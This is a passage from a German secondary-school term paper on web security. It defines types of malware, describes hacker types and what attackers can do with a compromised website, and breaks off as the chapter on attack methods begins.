Web-Sicherheit. Wie man Webanwendungen vor Angriffen schützen
Transcrição
Web-Sicherheit. Wie man Webanwendungen vor Angriffen schützen
Fachbereichsarbeit aus Informatik am BRG Petersgasse 2012/13 John Soliman Web-Sicherheit Wie man Webanwendungen vor Angriffen schützen kann Bundesrealgymnasium 8010 Graz, Petersgasse 110 Fachbereichsarbeit aus Informatik John Soliman, 8B Web-Sicherheit Wie man Webanwendungen vor Angriffen schützen kann Betreuer/in: Mag. Peter Tschuffer „Ich erkläre hiermit eidesstattlich, dass ich die Arbeit selbstständig und ausschließlich unter Verwendung der angeführten Hilfsmittel verfasst habe.“ Abgegeben am: _______________ Unterschrift: ___________________________ Inhaltsverzeichnis Seite 2 Inhaltsverzeichnis EINLEITUNG – 3 1 1.1 1.1.1 1.1.2 1.2 1.3 1.4 1.5 2 AUSWIRKUNGEN MANGELNDER SICHERHEIT – 13 2.1 Was möchte man schützen? – 13 2.2 Hacker ist nicht gleich Hacker – 14 2.3 Worst-Case-Szenario – 14 3 3.1 3.2 3.3 3.3.1 3.4 3.5 3.6 3.7 3.8 3.9 3.9.1 4 DIE MÖGLICHEN ÜBELTÄTER – BEGRIFFSDEFINITIONEN – 4 Was ist ein Virus? – 4 Was ist ein Wurm? – 6 Was ist ein Trojaner? – 7 Was ist ein Rootkit? – 8 Was ist Spyware/Adware? – 9 Was ist Scareware? – 11 Was ist Grayware? – 12 WIE KÖNNEN ANGRIFFE AUF WEB-ANWENDUNGEN ERFOLGEN? – 15 Unsichere Konfiguration – 16 Cross Site Scripting (XSS) Schwachstellen – 17 Cross Site Request Forgery (CSRF) – 18 Clickjacking und Weiterleitungen – 21 Path-Traversal-Schwachstellen – 23 Unsichere direkte Objektreferenzen – 25 Das Passwort-Dilemma – 26 Session-Hijacking – 28 SQL-Injection – 32 DoS-Angriffe – 34 ReDoS-Angriffe – 35 WIE KANN MAN WEB-ANWENDUNGEN SCHÜTZEN? – 37 4.1 Das Konzept der Verteidigungslinien – 37 4.2 Grundlegende Sicherheitsmaßnahmen – 38 ABSTRACT – 40 LITERATURVERZEICHNIS – 41 ANHANG – 43 PROTOKOLL – 44 Einleitung Seite 3 Einleitung Viele werden schon mal erlebt haben, wie der eigene Rechner oder der eines Bekannten kompromittiert wurde. Nachdem mir das zum ersten Mal passiert ist, habe ich mich mit diesem Thema grundlegend beschäftigt und auch Spaß beim Entwickeln eigener Lösungen und Anwendungen gefunden, die jedem frei zugänglich sein sollten. Da man solche Projekte am besten mit einer guten Website vermarktet, habe ich mich entschlossen IT-Sicherheit und Webdeveloping zu kombinieren, um der „sicheren Webentwicklung“ näher zu kommen. Ich möchte mit meiner FBA zum Thema Web-Sicherheit nicht nur auf die Bekämpfung von Schadsoftware, sondern viel mehr auch auf den Ablageplatz von solcher eingehen und erläutern, wie man als Webentwickler seinen eigenen Webauftritt vor solchem Missbrauch schützen kann. Um am besten zu dieser Thematik vorzustoßen, wird in den ersten zwei Kapiteln erklärt, was Schadsoftware ist, wie solche vorgeht und welcher Schaden entstehen kann. Dieses Basiswissen, das vorwiegend für Laien gedacht ist, muss man zunächst verstanden haben, um sich mit der Problematik des Missbrauchs von Webseiten als Ablageplatz von Schadsoftware zu beschäftigen. In den nächsten Kapiteln wird darauf eingegangen, wie Internetseiten angegriffen und beispielsweise dazu missbraucht werden können, um Schadsoftware zu verbreiten. Abschließend werden einige Lösungsansätze vorgestellt, die natürlich nicht alle Risiken eindämmen können. An dieser Stelle möchte ich mich noch herzlich bei meinem Betreuer Mag. Peter Tschuffer bedanken, der mich tatkräftig bei meiner Arbeit unterstützt hat. Die möglichen Übeltäter – Begriffsdefinitionen Seite 4 1. Die möglichen Übeltäter – Begriffsdefinitionen Diverse Begriffe wie Virus, Wurm, Trojaner verfolgen jeden Internetbenutzer, darunter sind natürlich viele, die die Gefahren im Internet beschreiben. Dennoch haben viele Laien nur eine ungefähre Vorstellung darüber, was sich hinter diesen Begriffen verbirgt. Um zu verstehen wie Websites effektiv geschützt werden, muss zunächst geklärt werden, wovor überhaupt Schutz gesucht wird und was diese Begriffe nun tatsächlich bedeuten. 1.1 Was ist ein Virus? Das, wie jede Schadsoftware, zur Kategorie Malware (= der richtige Begriff für alle schädlich handelnden Anwendungen, engl. malicious software) gehörende Schadprogramm „Virus“ ist eines der bekanntesten Softwarekonzepte, um einen fremden Computer zu kontrollieren und zu manipulieren. Der Begriff „Virus“ wird auch fälschlicherweise für Computerwürmer, Trojaner oder andere Schadsoftware gebraucht, obwohl diese Bedrohungen ähnliche oder andere Verhaltensmerkmale aufweisen. Ein Virus hat keinen eigenen Mechanismus zur Verbreitung, es ist von ausführbaren Inhalten (einem „Wirtsprogramm“) abhängig, daher stammt auch der Terminus Virus, wie man vermuten kann, vom biologischen Namensgeber. (Vgl. Ewald01, Schiwek, Töpfer/Huber) Zur Verbreitung fügt sich das Schadprogramm in andere noch nicht infizierte ausführbare Inhalte, wie Programmdateien, Bibliotheken, Skripte, Dokumente, Makros oder Bootsektoren, selbst hinzu, diese sind dann infiziert und zählen dann als selbstständige Computerviren. Die Verbreitung auf andere Systeme wird nicht angestrebt, kann aber durch das Kopieren infizierter Inhalte auf ein anderes System durchaus geschehen, aber ist nur erfolgreich, wenn diese/r Inhalt/e tatsächlich auf jenem anderen System gestartet wird/werden, entweder auf Befehl eines Benutzers oder von dessen Betriebssystem aus. Computerviren sind nicht dafür konzipiert, sich auf möglichst vielen Rechnern zu verbreiten, sondern dienen oft nur dem Zweck einen einzelnen Rechner auf Softwareebene stark zu manipulieren oder zu beschädigen und den/die Benutzer zu behindern. Durch die Ausführung infizierter Inhalte wird die Desinfektion dieser erheblich erschwert, da laufende Prozesse nicht entfernt werden können, bevor sie terminiert (= gestoppt) wurden. Die möglichen Übeltäter – Begriffsdefinitionen Seite 5 Einige Virenvarianten bevorzugen die folgenden Vorgehensweisen: - Das Bootvirus infiziert, wie es der Name schon sagt, Bootsektoren. Das sind Bereiche auf dem Laufwerk, über die das Starten des Betriebssystems vorbereitet wird. So kann das Virus schon vor dem Start des eigentlichen Betriebssystems eingreifen und eventuelle Schutzmaßnahmen umgehen. - Datei- und Linkviren, welche am häufigsten vorkommen, infizieren Programmdateien und Bibliotheken und sorgen entweder dafür, dass diese Dateien beim nächsten Programmstart ausgeführt werden oder dass diese Dateien dem Benutzer so gut wie möglich täuschend vorgeführt werden, damit er sie im Unwissen selbst öffnet. - Makroviren können sich in nahezu alle Office-Dokumente einschleusen und über Mailversand effektiv verbreitet werden, da viele Benutzer keine Schadsoftware in solchen Dokumenten vermuten. - Skriptviren schleusen sich vor allem in Webseiten ein, da Internetseiten teilweise viele Skripte und Funktionen benötigen, um eine dynamische Umgebung anzubieten. Es wird zusätzlich zu diesen Funktionalitäten ein weiteres Skript eingefügt, das schädliche Aktionen heimlich oder auffallend durchführt. (Vgl. Regenfelder, Schiwek) Es existieren außerdem Mischvarianten von Computerviren und/oder anderer Malware (sogenannte Hybride), die mehrere Vorgänge kombinieren, um umso erfolgreicher zu sein. (Vgl. Regenfelder, Schiwek) Antivirenscanner sind darauf spezialisiert Computerviren, Computerwürmer und Computertrojaner aufzuspüren und zu blockieren oder zu eliminieren. Daher sollte jeder Benutzer auf alle Fälle ein Antivirenprogramm auf allen Rechnern installiert haben, aber auch sicher gehen, dass es von einer vertrauenswürdigen Quelle und einem seriösen Hersteller stammt und diese/r Benutzer/in nicht Opfer einer Variante von Scareware (= falscher Anti-MalwareSoftware) ist, die ihm/ihr falsche Versprechen geben, wie unter anderem: zu 100 % alle Malwarevarianten erkennen zu können oder an ihrem Computer Fehler beheben zu können, die gar nicht existieren! Es gibt kein Produkt, dass alle Schädlinge entdecken kann, da täglich neue Schadsoftware publiziert wird, und auch wenn sich die Hersteller von Antimalwarelösungen bemühen täglich neue Aktualisierungen anzubieten, so können sie dem Ansturm nicht zu 100 % nachkommen. Die möglichen Übeltäter – Begriffsdefinitionen Seite 6 Trotzdem ist es wichtig, sowohl das Betriebssystem, als auch die Antimalwarescanner stets aktuell zu halten, um Angreifern weniger Chancen zu geben. Um die Installation von vieler Art Schadsoftware schon präventiv verhindern zu können, kann man zusätzlich als Benutzer mit eingeschränkten Rechten arbeiten, da diese keine Software installieren können. Man kann auch mit von CD oder USB aus startenden Live-Systemen arbeiten, da diese das Speichern von Dateien auf Festplatten nicht erlauben. Außerdem sollte man im Browser Javascript, Java, Active-X-Steuerelemente weitestgehend richtig und passend einstellen, um die Ausführung bösartiger Skripte zu verhindern. Da der größte Schaden oft vom unwissenden Benutzer verursacht wird, gilt es, sich auch über Schadsoftware zu informieren und niemals Inhalte von unbekannten Quellen auszuführen. Trotz allem kann nie für eine hundertprozentige Sicherheit garantiert werden und daher sind regelmäßig Sicherungen Pflicht, damit diese im Notfall zur Verfügung stehen und kein Datenverlust auftritt. (Vgl. Schiwek) 1.1.1 Was ist ein Wurm? Computerwürmer sind Computerviren sehr ähnlich. Sie weisen nur einen markanten Unterschied zum Computervirus auf: Würmer versuchen sich aktiv weiterzuverbreiten und sind daher nicht an ein Wirtsprogramm gebunden. Ein Computerwurm soll möglichst viele Rechner in kurzer Zeit infizieren und daher eine hohe Anzahl an Rechnern manipulieren und kontrollieren. (Vgl. Ewald01) Das lässt sich nicht wie bei einem Virus damit bewerkstelligen, die Ausführung der Schadsoftware und ihren Kopiervorgang auf andere Rechner abzuwarten. Daher werden Würmer so entwickelt, dass sie für eine Installation keinen Eingriff eines Benutzers brauchen bzw. sich automatisch installieren. (Vgl. Steiner) Zur Verbreitung nutzen Computerwürmer in vielen Fällen bekannte Sicherheitslücken im System aus, da es dadurch am einfachsten möglich ist, viele Rechner mit der gleichen Betriebssystemversion binnen kurzer Zeit zu attackieren. Die Anfälligkeit eines Computers für solche und andere Schadsoftware ist schon nach Verbindung zum Internet gegeben. Das wiederum macht Würmer für die Errichtung eines Botnetzwerks ideal und erklärt warum viele Botnetzbetreiber oft Würmer verwenden. (Vgl. Schiwek) Die möglichen Übeltäter – Begriffsdefinitionen Seite 7 Ein Botnetzwerk oder ein Netzwerk von Zombie-Rechnern ist ein Zusammenschluss von zahlreichen infizierten und kontrollierbaren Rechnern, die auf Befehl eines Masterservers bestimmte Aktionen durchführen, wie zum Beispiel gezielte Angriffe auf bestimmte Internetseiten. Solche Netzwerke sind für Hacker sehr lukrativ und werden oft für sehr viel Geld weiterverkauft! (Vgl. Kogut) 1.1.2 Was ist ein Trojaner? Ein Trojaner oder Trojanisches Pferd ist ein Schadprogramm, das ebenso wie Virus und Wurm erheblichen Schaden anrichten kann, aber dabei gut getarnt vorgeht. Im Gegensatz zu Virus und Wurm erstellt der klassische Trojaner keine Kopien oder Abbilder von sich selbst im Dateisystem des Wirts und ist nicht auf die Ausbreitung auf andere Rechner aus und nicht von einem Wirtsprogramm abhängig. (Vgl. Ewald01) Die Klassifizierung eines Trojaners hat sich aber doch im Laufe der Jahre etwas geändert, da es ziemlich schwer ist, zwischen Virus, Wurm und Trojaner zu unterscheiden, da die Definitionen für diese Schadprogramme doch sehr verschwimmen, weil immer mehr Mischvarianten überwiegen und die klassischen Formen nur selten oder vereinzelt vorkommen. So werden heutzutage Trojaner immer mehr mit Spionagesoftware in Verbindung gebracht, was der klassische Trojaner jedoch nicht zwingend ist. (Vgl. Gräfer) Ausgehend vom Namen und dessen historischen Namensgeber aus dem Trojanischen Krieg, ist ein Programm dann ein Trojanisches Pferd, wenn es Aktionen durchführt, für die es nicht vorgesehen ist und für diese Zusatzaktionen Funktionalitäten besitzt, die dem Benutzer überhaupt nicht ersichtlich sind. So kann jede noch so vertrauenswürdige Anwendung ein Trojaner sein oder werden, wenn der Hersteller beispielsweise ohne Zustimmung und Kenntnisname des Anwenders Daten von diesem in irgendeiner Form weiterverbreitet, liest oder verwendet, auch wenn es nur Daten zur Benutzung und/oder Verbesserung der Anwendung sind und die Anwendung keine Funktionsbeeinträchtigung für den Computer des Anwenders und/oder Schaden für den Anwender darstellt, sondern sogar ihre ersichtliche und vom Benutzer gewünschte Aufgabe erfüllt und somit überaus von Nutzen sein kann. Mehrere False-Positive-Vorfälle (= falsche Erkennungen) von der Avira Operations GmbH & Co. KG und anderen Unternehmen haben diese Definition bestätigt. So gab und gibt es immer wieder in zahlreichen ausführbaren Anwendungen versteckte Die möglichen Übeltäter – Begriffsdefinitionen Seite 8 Funktionen, die manchmal prompt von der Heuristik eines Virenscanners als schädlich eingestuft werden und in Folge das Programm als Trojaner klassifiziert wird. Viele Programmierer müssen deswegen oft eine Fehlermeldung bei den zuständigen Herstellern der Antivirenprogramme melden, damit ihr Programm genauer in Augenschein genommen wird. Trojaner können und stellen aber doch meistens eine Gefahr für den Benutzer dar, da es oft Anwendungen sind, die schädliche Aktionen durchführen, wie zum Beispiel zahlreiche Internetfenster (sogenannte „Popups“, siehe Kap 2.3 zu Spyware/Adware) öffnen, um somit die Produktivität zu senken, den Einwahlvorgang des Modems zu einer kostenpflichtigen Wahlnummer zu ändern, sodass für den Benutzer hohe Kosten entstehen (sogenannte „Dialer“), persönliche Daten zu sammeln, um diese weiterzuleiten, zu verkaufen oder in Spam-E-Mails zu verwenden, andere Rechner zu attackieren, indem Spam-E-Mails versendet werden, für einen DDoS-Angriff (Distributed Denial of Service) verwendet werden und um so bestimmte Internetseiten außer Gefecht zu setzen. (Vgl. Gräfer) Leider kommen Trojaner heutzutage sehr oft vor. Ihre Verbreitungswege beschränken sich nicht nur auf Webseiten, E-Mails und Newsgruppen. Viren und Trojaner breiten sich im Gegensatz zu den Würmern nicht aktiv aus. Da beide an einen Wirt gebunden sind, können sie die physikalischen Grenzen eines Computers nur sprengen indem ihr Wirt z.B. als Attachment per eMail versendet wird. […] Überall dort, wo viele Benutzer in Kontakt geraten, sei es ein Peer-to-Peer Netzwerk, im Internet-Relay-Chat oder im Instant Messenger, gibt es für die Schädlinge eine besonders einfache Weise neue Wirte zu finden. (Ewald02) 1.2 Was ist ein Rootkit? Ein Rootkit (englisch etwa: „Administratorenbausatz“; root: Benutzer mit Administratorrechten) ist eine Sammlung von Softwarewerkzeugen, die vorrangig dazu dienen die ferngesteuerte Bedienung (Backdoor) eines Rechners und das Ausspähen installierter Software inklusive Passwörtern zu ermöglichen. (TrojanBoard01) Rootkits sind sehr gut getarnte Anwendungen, die sich tief im Betriebssystem installieren, als Systemdateien verstecken und einem möglichen Angreifer die Kontrolle eines Computers ermöglichen können inklusive Administratorrechten. Das heißt, dass der vermeintliche Angreifer nicht nur den Rechner fernsteuern und sensitive Daten ausspähen kann, wie es auch bei einem Trojaner möglich ist, sondern alles am System kontrollieren, ausführen und nach Belieben verändern kann, so zum Beispiel auch problemlos Softwareinstallationen und Dateioperationen, ganz gleich, ob der Benutzer nur ein beschränktes Anmeldekonto verwendet. Die möglichen Übeltäter – Begriffsdefinitionen Seite 9 Nichtsdestotrotz dient ein Rootkit meistens nur dem Zweck, Malware vor Antimalwarescannern zu verbergen und dem Benutzer ein sicheres System vorzugaukeln. Es gibt aber wie beim Trojanischen Pferd durchaus legitime Varianten und Verwendungszwecke, wie in diesem Fall in Kopierschutzmechanismen oder Bildschirmübertragungssoftware. (Vgl. TrojanBoard01, Munk) Ein Rootkit kann sich, wie der klassische Virus oder Trojaner, nicht selbstständig ausbreiten, sondern muss auf die Ausführung von infizierten Inhalten warten, die meistens ihren Ursprung im Internet haben. Es reicht das Öffnen von E-Mails, Webseiten, Musikdateien oder Dokumenten, Bildern, Bildschirmschonern oder eines anderen systemfremden Objekts. Deshalb ist das Einblenden der Dateiendung immer sinnvoll, selbst wenn gut programmierte Schadsoftware ebenfalls die echte Dateiendung eines imitierten Inhalts haben kann. (Vgl. Munk, TrojanBoard01) Einmal gestartet verursacht ein Rootkit einen Buffer-Overflow (Puffer-Überlauf oder Überlastung des Speichers), der das eigentliche Schadprogramm dann in den Speicher lädt. (Vgl. TrojanBoard01) Ist ein Rootkit erst einmal aktiv, so kann es aus dem laufenden System heraus schwierig bis unmöglich sein, die dazugehörigen Prozesse und Dateien ausfindig zu machen, weil das Rootkit im Hintergrund dem System falsche Tatsachen vorgaukelt – ein solches System ist nicht mehr vertrauenswürdig. (TrojanBoard01) 1.3 Was ist Spyware/Adware? Seit geraumer Zeit wird in der IT-Sicherheit immer mehr von Spyware und Adware geredet. Spyware ist eine ernsthafte Bedrohung geworden und ist ein Begriff für Applikationen, die zur Spionage entworfen wurden. Spyware ist meistens keine eigenständige Software, sondern wie ein Trojaner ein versteckter Teil eines anderen Wirtsprogramms, der einen Zusatznutzen, wie zum Beispiel die lokale Wettervorhersage mit Temperaturanzeige verspricht. Dieser Teil sammelt Informationen über den Rechner, die installierten Programme, die Surfgewohnheiten und Vorlieben des Users etc. und übermittelt sie einem Anbieter ins Internet. (Vgl. Werz, Wohlgemuth) Die möglichen Übeltäter – Begriffsdefinitionen Seite 10 Adware hingegen bezeichnet Software, die dauernd Werbung einblendet. So kann ein Trojaner, wie bereits erwähnt, so genannte „Popups“ einblenden und daher auch AdwareFunktionalität enthalten. Spyware und Adware stehen oft miteinander in Verbindung, da Spyware beispielsweise Suchanfragen und Gewohnheiten ausspioniert, um einer Adware zu ermöglichen, zu einem oft gesuchten Thema relevante oder ähnliche Werbungen einzublenden. Dieses Vorgehen erhöht die Wahrscheinlichkeit, dass unvorsichtige Benutzer solche Werbeflächen anklicken. Es kann sich alles Mögliche hinter der geöffneten Werbefläche verbergen. Um einige Möglichkeiten zu nennen, kann ein geöffneter Adware-Link zu einer unseriösen Webseite führen, die den/ie Besucher/in automatisch oder unauffällig nach einer bestimmten Benutzerinteraktion bei unbekannten und nicht gewünschten Angeboten anmeldet (= Form des „Clickjackings) oder eine Schadsoftware, ohne jegliche Benutzerinteraktion zu benötigen, herunterlädt (sogenannte „Drive-By-Downloads“). Auffallend ist, dass Spyware immer öfter nicht nur in unseriösen, sondern auch zusätzlich in legitimen und populären Programmen steckt, weil die Hersteller dadurch ihre (meistens kostenlosen) Programme finanzieren. Viele unvorsichtige Besucher begehen den Fehler, den Herstellern zu viel Vertrauen zu schenken und schnell und unbedacht Software zu installieren, ohne die Optionen der Installationsanwendung und/oder die Lizenzvereinbarung zu lesen und somit ungewünschte Programme mitinstallieren! Zum Beispiel wird heute in vielen legitimen Programmen zusätzlich die fragwürdige Ask.com Toolbar angeboten (Avira Anti Virus, Java, Trillian, Nero, u.v.a.), die von manchen Scannern als Spyware erkannt wird oder lange Zeit wurde (z.B. Spybot – Search & Destroy), aber im Allgemeinen als harmlos, aber hartnäckig zu entfernen eingestuft wird. Doch es gibt auch viele Installationen, die nicht mal die Option, das Spyware/Adware - Modul von der Installation auszuschließen, anbieten und installieren dieses automatisch mit, da die Hersteller das Ausschließen oder Entfernen dieser Module ausdrücklich verbieten wollen. „[…] wie eingangs schon erwähnt „sitzt“ Spyware als lästiges Anhängsel in einem ‚Wirtprogramm’, das als ganz normale Anwendung fungiert. Entfernt man das Spyware-Modul aus dem Programm, kann es sein, dass die Anwendung ihren Dienst versagt. Die möglichen Übeltäter – Begriffsdefinitionen Seite 11 In mancher Software ist sogar per EULA (End User License Agreement) geregelt, dass die Spyware nicht entfernt werden darf. Tut man es doch, macht man sich strafbar. In solchen Fällen sollte man von vornherein die Finger von solchen Programmen lassen.“ (Wohlgemuth) Daher ist Spyware meistens nicht leicht aufzuspüren, aber man kann zumindest mit einer richtg konfigurierten Firewall (= Software, die eingehende und ausgehende Verbindungen kontrolliert) den Austausch von privaten Informationen verhindern und dubiosen Verbindungsaufbau verhindern und mit vorsichtigem Surfen und Installieren große Übel im Vorhinein abwenden. Zusätzlich darf auf Anti-Spywareprogramme nicht verzichtet werden, denn gewöhnliche Antivirenprogramme, bieten oft gar keinen oder einen mangelnden Schutz vor Spyware/Adware an! 1.4 Was ist Scareware? Scareware ist Software, die Anwender dazu verleiten soll in Angst zu geraten, um bestimmte Instruktionen des Herstellers hilflos zu befolgen. Dieses Vorgehen wird auch „Social Engineering“ oder „Social Hacking“ genannt. Meistens versuchen Script-Kiddies (Menschen, die nur die Werke von professionellen Hackern kopieren und/oder verwenden, ohne sich mit deren Funktionalitäten auszukennen) oder versierte Hacker dadurch möglichst viele Anwender dazu zu bringen, ihnen Geld zu überweisen oder private oder spezielle Informationen preiszugeben. (Vgl. Kübeck 2011, 37-38) Das wird durch viele verschiedene Methoden bewerkstelligt. So bedienen sich manche Scareware-Varianten des Autostarts: Starten automatisch mit dem Betriebssystem nach dem Bootvorgang, laden bei Ausführung ein Fenster, dass den kompletten Bildschirminhalt überdeckt und sperren systeminterne Methoden, die Auswege bereitstellen, um dieses Dialogfenster zu schließen. In diesem Dialog heißt es dann, dass das System nach Eingabe und Validierung eines Codes freigegeben wird, den man ausschließlich käuflich vom Hacker erwerben kann und zusätzlich werden Zahlungsmöglichkeiten angeboten wie im Falle der FBIScareware, die 2012 erschienen ist. (Vgl. Patterson) Andere Varianten täuschen ein infiziertes System vor, dass man nur durch den Erwerb eines speziellen Produkts reparieren kann. Bei dem besagten Produkt handelt es sich aber meistens Die möglichen Übeltäter – Begriffsdefinitionen Seite 12 um eine Fraud Anti Malware (falsche Anti Malwaresoftware), die keine Schädlinge entfernen kann, sondern dies nur angibt und/oder in Wirklichkeit eventuell Schädlinge dazuinstalliert. In letzter Zeit häufen sich Varianten an, die durch einfache oder bis jetzt unknackbare Verschlüsselung von Dateien, die natürlich der Anwender nicht verlieren möchte, den Anwender erpressen. Solche Scareware wird auch Ransomware genannt. (Vgl. TrojanBoard02) Laien fallen auf Scareware dadurch sehr schnell herein, weil sie keinen anderen Ausweg sehen, und lassen sich erpressen, den Anweisungen der Hacker zu folgen. Doch auch wenn diese Anweisungen befolgt werden, heißt es nicht, dass die Gegenseite sich kooperativ zeigen wird! Die Angst vor Datenverlust ist vor allem bei den Menschen groß, die keine Sicherungen (Backups) anlegen, aber auch die Angst vor Weitergabe von sensiblen Daten, die Angst, dass die Scareware im Hintergrund noch andere Aktionen durchführt oder der Zeitdruck, das System so schnell wie möglich wieder funktionstüchtig zu machen, bei Privatpersonen oder bei Unternehmen kann dafür sorgen, den Hackern klein beizugeben. Nichtsdestotrotz gibt es natürlich für jede von den Hackern gewählte Methode früher oder später doch einen Ausweg, wie bei der Verschlüsselungsvariante eine Entschlüsselungssoftware, sofern man den Dekodierungsschlüssel herausfinden konnte, bei der Autostartvariante, den Start im abgesicherten Modus oder das Booten von einer Recovery CD, einem USB-Stick oder eines zweiten Betriebssystems und die Entfernung der Scareware von dort aus, usw. Falls es wirklich ausweglos erscheint, eine Scareware loszuwerden, so bleibt noch immer die Neuinstallation des Betriebssystems und sofern eine Sicherung vorhanden ist, gibt es sogar keinen Datenverlust. 1.5 Was ist Grayware? Grayware ist ein allgemeiner Begriff, mit dem Anwendungen bezeichnet werden, die nicht wie Malware schädlich, aber störend oder ungewünscht sind und teilweise ohne Zustimmung des Benutzers installiert werden und Rechenleistung vermindern und Ressourcen verbrauchen. Riskware sind Programme, die zwar nicht dafür programmiert wurden, um Schaden anzurichten, aber sicherheitskritische Funktionalitäten aufweisen, die schädliche Anwendungen missbrauchen könnten. Riskware kann von Malware installiert werden, um Anti-Malwarescannern Auswirkungen mangelnder Sicherheit Seite 13 vorzutäuschen, dass die Malware selbst keine Malware ist. Riskware ist so gesehen auch Grayware, welche aber eine gewisse sicherheitsspezifische Gefahr bietet. 2. Auswirkungen mangelnder Sicherheit Die Basiskenntnisse sind mit den Begriffsdefinitionen geklärt. Teilweise wurden auch schon viele Folgen einer Verharmlosung der Thematik aufgezeigt, aber es bleibt noch die Frage offen, was Malware bei Websites zu suchen hat und was geschehen kann, sofern eine Website mangelhaft oder gar nicht geschützt ist. 2.1 Was möchte man schützen? Die Begriffsdefinitionen haben bereits gezeigt, dass Malware schwerwiegende Auswirkungen auf Computer haben kann, aber was soll Malware mit einer Website anstellen? Hinter jeder Website verbirgt sich ein Webserver, ohne den es die Website gar nicht geben würde. Ein Webserver ist nichts anderes als ein eigenständiger Computer, der mit dem Internet 24 Stunden am Tag verbunden ist und über eine Webserver-Software die Website im Internet weltweit bereitstellt. Theoretisch kann jeder private funktionstüchtige Computer als Webserver dienen, sofern die Anbindung ins Internet unterstützt wird. So wie jeder Computer sind auch Webserver vor Malware zu schützen und können von Malware in jeglicher Form manipuliert werden. Alleine die Verbindung zum Internet bietet demnach schon ein hohes Risiko, da der Webserver Tag und Nacht online ist und Hacker genügend Zeit haben Schwachstellen ausfindig zu machen und die Website oder den Computer zu kontrollieren. (Vgl. Wischnewski) Eine Website besteht aus vielen Webseiten/Internetseiten, die alle zumindest in HTML (= Hypertext Markup Language) vorliegen müssen, damit der Browser (Computerprogramm zum Betrachten von Internetseiten) eines Besuchers die Internetseite richtig strukturiert und wiedergibt. HTML dient zwar der richtigen Strukturierung einer Internetseite, aber es gibt noch andere clientseitige Skriptsprachen (werden beim Benutzer/Client übersetzt) wie CSS oder Javascript, die dem Webserver mit der entsprechend konfigurierten Webserver-Software das Strukturieren zusätzlich erleichtern können und dem Gestalter mehr Möglichkeiten bieten, die mit HTML alleine schwer zu bewerkstelligen sind. Außerdem gibt es auch serverseitige Skriptsprachen (werden beim Servercomputer übersetzt), mit denen die Umsetzung großer Internetportale stark vereinfacht wird und dynamische Websites ohne große Mühen erzeugt Auswirkungen mangelnder Sicherheit Seite 14 werden können. Darunter zählen ASP, Perl, PHP, Python und viele mehr. Wie bei allen Programmier- und Auszeichnungssprachen werden zwar zahlreiche Möglichkeiten geschaffen, aber auch viele Ansatzpunkte zur Manipulation ermöglicht. 2.2 Hacker ist nicht gleich Hacker Sofern eine Website von einem Hacker erfolgreich übernommen wurde, kann dieser alles damit anstellen. Websites sind ein sehr lukratives Ziel für jeden Hacker, da diese Speicherplatz (Webspace) bereitstellen, auf dem von überall zugegriffen werden kann. Da in der Informationssicherheit zwischen 3 verschiedenen Hackertypen unterschieden wird, wird auch zwischen ihrem Verhalten und Nutzen des Speicherplatzes unterschieden. Ein White-Hat Hacker verschafft sich Zugriff zu einer Website, um den Seiteninhabern Sicherheitslücken vorzuweisen. Dieser Typ Hacker beabsichtigt nicht den Webadministrator Schaden zuzufügen, führt lediglich meistens vereinbarte Penetrationstests durch. (Vgl. Charles) Ein Grey-Hat Hacker dringt in eine Website ein, um ein höheres Ziel zu erreichen. Dieser Typ Hacker ist eine Mischform aus Black-Hat und White-Hat. Er zeigt beispielsweise auch Sicherheitslücken auf, um ein Leugnen des Webadministrators zu beweisen und die Verantwortlichen dazu zu bewegen etwas zu unternehmen oder handelt aus sozialen oder politischen Gründen und/oder Vorstellungen heraus (z.B. die Gruppierung „Anonymous“). Er ist nicht auf persönlichem Profit aus und beabsichtigt nicht dem Administratoren zu schaden, sondern strebt Veränderungen an, die er aber manchmal nur auf kriminellem Wege zu erreichen vermag. (Vgl. Charles) Ein Black-Hat Hacker (= Cracker) beabsichtigt mit dem Einbruch in eine Website durch kriminelle Handlungen persönlichen Gewinn zu erzielen. (Vgl. Charles) 2.3 Worst-Case-Szenario Ein Black-Hat Hacker benutzt aktiv den ihm zur Verfügung stehenden Speicherplatz. Einerseits kann er durch mangelhafte Überprüfung (von Eingabefeldern), mangelhaften Schutz und falsche bzw. unvorsichtige Benutzung von Skriptsprachen eine oder mehrere Webseite/n nach Auswirkungen mangelnder Sicherheit Seite 15 seinem Belieben verändern und/oder erstellen, andererseits, wenn er ein Download/UploadFormular missbraucht oder sich eines FTP (File Transfer Protocol = Protokoll zur kennwortgesicherten Dateiübertragung) Kontos ermächtigen kann, kann er Dateien hoch- und/oder herunterladen. Dadurch eröffnen sich dem Cracker unvorstellbare Möglichkeiten: - Er kann Schadsoftware aktiv (durch eine Aufforderung zum Herunterladen oder Installieren eines Objekts) oder passiv (Drive-by-Downloads = ein Herunterladen von Schadsoftware ohne Benutzerinteraktion) verbreiten und in Folge dessen die Computer der Besucher übernehmen. Er könnte außerdem alle diese Computer verwenden, um ein Botnetzwerk zu bilden, um dadurch andere Ziele zu erreichen, wie beispielsweise den größer angesetzten Angriff auf eine Website oder den Verkauf dieses Botnetzwerks. Er kann alle im vorigen Oberkapitel besprochenen Angriffswege anwenden! (Vgl. Kübeck 2011, 41) - Er kann ebenfalls Spam-Nachrichten verschicken, sei es an Besucher, die eine Schadsoftware unbeabsichtigt installiert haben oder an Personen, die noch nie diese Website besucht haben, aber deren E-Mail Adressen bereits zuvor von anderen Quellen aufgesammelt wurden. (Vgl. Kübeck 2011, 42) - Er kann Phishing betreiben. Das heißt, er könnte eine seriöse Website imitieren, um Anmeldedaten von unvorsichtigen Besuchern zu speichern und zu erlangen. Sofern er das mit beispielsweise Bankkunden bewerkstelligen kann, könnte er ohne Probleme Geld hin- und hertransferieren. (Vgl. Kübeck 2011, 42) - Er kann illegale Daten und pornografisches Material ungehindert verbreiten und anbieten oder ebenso Passwörter und persönliche Daten veröffentlichen oder weiterverkaufen. (Vgl. Kübeck 2011, 42-43) - Im allerschlimmsten Fall ermächtigt sich der Cracker des kompletten Verzeichnisbaums oder des FTP-Accounts (= Anmeldekonto) des Webadministrators und kann auf die gesamte Verzeichnisstruktur der Website eingreifen und beispielsweise das Passwort ändern und somit die Website komplett übernehmen. Dann hilft nur noch die Abschaltung des Webservers. (Vgl. Kübeck 2011, 41-46) Erwartungsgemäß ergeben sich daraus ein großer betrieblicher und kostspieliger Schaden und ein eventueller Rufmord für Unternehmer bzw. größere Konzerne. (Vgl. Kübeck 2011, 45) Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 16 3. Wie können Angriffe auf Web-Anwendungen erfolgen? Um zu verstehen, wie man Web-Anwendungen effektiv schützen kann, ist es am besten sich möglichst viele Angriffszenarios anzusehen und während der Gestaltung einer Webseite, wie zum Beispiel beim 